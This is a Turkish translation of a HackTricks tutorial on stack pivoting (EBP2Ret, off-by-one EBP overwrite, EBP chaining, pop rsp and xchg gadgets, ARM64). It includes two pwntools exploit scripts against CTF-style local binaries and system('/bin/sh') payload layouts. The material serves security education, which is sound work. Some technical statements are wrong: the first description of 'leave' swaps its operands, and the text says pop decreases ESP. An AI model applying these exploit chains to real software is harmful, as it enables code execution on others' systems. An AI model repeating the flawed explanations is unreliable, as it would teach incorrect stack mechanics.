Stack Pivoting - EBP2Ret - EBP chaining

Support HackTricks

Temel Bilgiler

Bu teknik, Base Pointer (EBP)'i manipüle etme yeteneğinden yararlanarak, EBP kaydının dikkatli kullanımı ve leave; ret talimat dizisi aracılığıyla birden fazla işlevin yürütülmesini zincirleme imkanı sağlar.

Hatırlatmak gerekirse, leave temelde şunu ifade eder:

mov       ebp, esp
pop       ebp
ret

And as the EBP is in the stack before the EIP it's possible to control it controlling the stack.

EBP2Ret

Bu teknik, EBP kaydını değiştirebilirken EIP kaydını doğrudan değiştirme yolunuz yoksa özellikle faydalıdır. Fonksiyonların çalışmayı bitirdiğinde gösterdiği davranışı kullanır.

Eğer fvuln'ın çalışması sırasında, yığın içinde shellcode'unuzun adresine işaret eden bir sahte EBP enjekte etmeyi başarırsanız (artı pop işlemi için 4 byte ekleyerek), EIP'yi dolaylı olarak kontrol edebilirsiniz. fvuln dönerken, ESP bu hazırlanmış konuma ayarlanır ve sonraki pop işlemi ESP'yi 4 azaltır, etkili bir şekilde orada saldırgan tarafından saklanan bir adrese işaret eder. 2 adresi bilmeniz gerektiğini unutmayın: ESP'nin gideceği yer ve ESP tarafından işaret edilen adresi yazmanız gereken yer.

Exploit Construction

Öncelikle, rastgele veri/adres yazabileceğiniz bir adresi bilmeniz gerekir. ESP buraya işaret edecek ve ilk ret çalıştırılacak.

Sonra, rastgele kod çalıştıracak ret tarafından kullanılan adresi bilmeniz gerekir. Şunları kullanabilirsiniz:

  • Geçerli bir ONE_GADGET adresi.

  • system() adresi, ardından 4 gereksiz byte ve "/bin/sh" adresi (x86 bit).

  • jump esp; gadget'ının adresi (ret2esp) ardından çalıştırılacak shellcode.

  • Bazı ROP zincirleri.

Kontrollü bellek kısmındaki bu adreslerden önce 4 byte bulunması gerektiğini unutmayın, çünkü pop kısmı leave talimatının bir parçasıdır. Bu 4B'yi kötüye kullanarak ikinci sahte EBP ayarlamak ve yürütmeyi kontrol etmeye devam etmek mümkün olacaktır.

Off-By-One Exploit

Bu tekniğin "Off-By-One Exploit" olarak bilinen özel bir varyantı vardır. EBP'nin en az anlamlı byte'ını yalnızca değiştirebildiğinizde kullanılır. Böyle bir durumda, ret ile atlanacak adresi saklayan bellek konumu EBP ile ilk üç byte'ı paylaşmalıdır, bu da daha kısıtlı koşullarla benzer bir manipülasyona izin verir. Genellikle, mümkün olduğunca uzağa atlamak için byte 0x00 değiştirilir.

Ayrıca, yığında bir RET sled kullanmak ve gerçek ROP zincirini en sona koymak yaygındır, böylece yeni ESP'nin RET SLED içinde işaret etmesi ve son ROP zincirinin çalıştırılması daha olası hale gelir.

EBP Chaining

Bu nedenle, yığının EBP girişine kontrol edilen bir adres koyarak ve EIP'de leave; ret adresi koyarak, ESP'yi yığından kontrol edilen EBP adresine taşımak mümkündür.

Artık, ESP istenen bir adrese işaret ediyor ve yürütülecek bir sonraki talimat bir RET. Bunu kötüye kullanmak için, kontrol edilen ESP yerine şunları yerleştirmek mümkündür:

  • &(next fake EBP) -> leave talimatından pop ebp nedeniyle yeni EBP'yi yükle

  • system() -> ret tarafından çağrılır

  • &(leave;ret) -> sistem sona erdikten sonra çağrılır, ESP'yi sahte EBP'ye taşır ve tekrar başlar

  • &("/bin/sh")-> system için parametre

Temelde bu şekilde, programın akışını kontrol etmek için birkaç sahte EBP'yi zincirlemek mümkündür.

Bu, ret2lib gibidir, ancak görünür bir faydası olmadan daha karmaşıktır, ancak bazı kenar durumlarında ilginç olabilir.

Ayrıca, bu tekniği bir stack leak ile kazanan bir fonksiyonu çağırmak için kullanan bir challenge örneği var. Bu, sayfanın son yüklemesidir:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP kullanılmayabilir

Bu yazıda açıklandığı gibi, eğer bir ikili bazı optimizasyonlarla derlenmişse, EBP asla ESP'yi kontrol etmez, bu nedenle EBP'yi kontrol ederek çalışan herhangi bir istismar temelde başarısız olur çünkü gerçek bir etkisi yoktur. Bu, prolog ve epilog değişiklikleri ikili optimize edildiğinde gerçekleşir.

  • Optimize edilmemiş:

push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Optimize edilmiş:

push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

RSP'yi Kontrol Etmenin Diğer Yolları

pop rsp gadget

Bu sayfada bu tekniği kullanan bir örnek bulabilirsiniz. Bu zorluk için 2 belirli argümanla bir fonksiyon çağrılması gerekiyordu ve bir pop rsp gadget vardı ve stack'ten bir leak vardı:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

ret2esp tekniğini burada kontrol edin:

Ret2esp / Ret2reg

Referanslar ve Diğer Örnekler

ARM64

ARM64'te, fonksiyonların prologları ve epilogları yığın içinde SP kaydını saklamaz ve geri almaz. Dahası, RET komutu SP tarafından işaret edilen adrese dönmez, x30 içindeki adrese döner.

Bu nedenle, varsayılan olarak, sadece epilogu kötüye kullanarak SP kaydını kontrol edemezsiniz. Ve SP'yi kontrol etmeyi başarırsanız bile, x30 kaydını kontrol etmenin bir yoluna ihtiyacınız olacaktır.

  • prolog

sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP çerçeve kaydına işaret eder
  • epilog

ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

ARM64'te yığın pivotlamaya benzer bir şey gerçekleştirme yolu, SP'yi kontrol edebilmek (SP'ye geçirilen bir kaydı kontrol ederek veya bir nedenle SP'nin adresini yığından alması ve bir taşma yaşanması durumunda) ve ardından epilogu kötüye kullanarak kontrollü bir SP'den x30 kaydını yüklemek ve RET ile ona dönmektir.

Ayrıca, aşağıdaki sayfada ARM64'teki Ret2esp eşdeğerini görebilirsiniz:

Ret2esp / Ret2reg
HackTricks'i Destekleyin

Last updated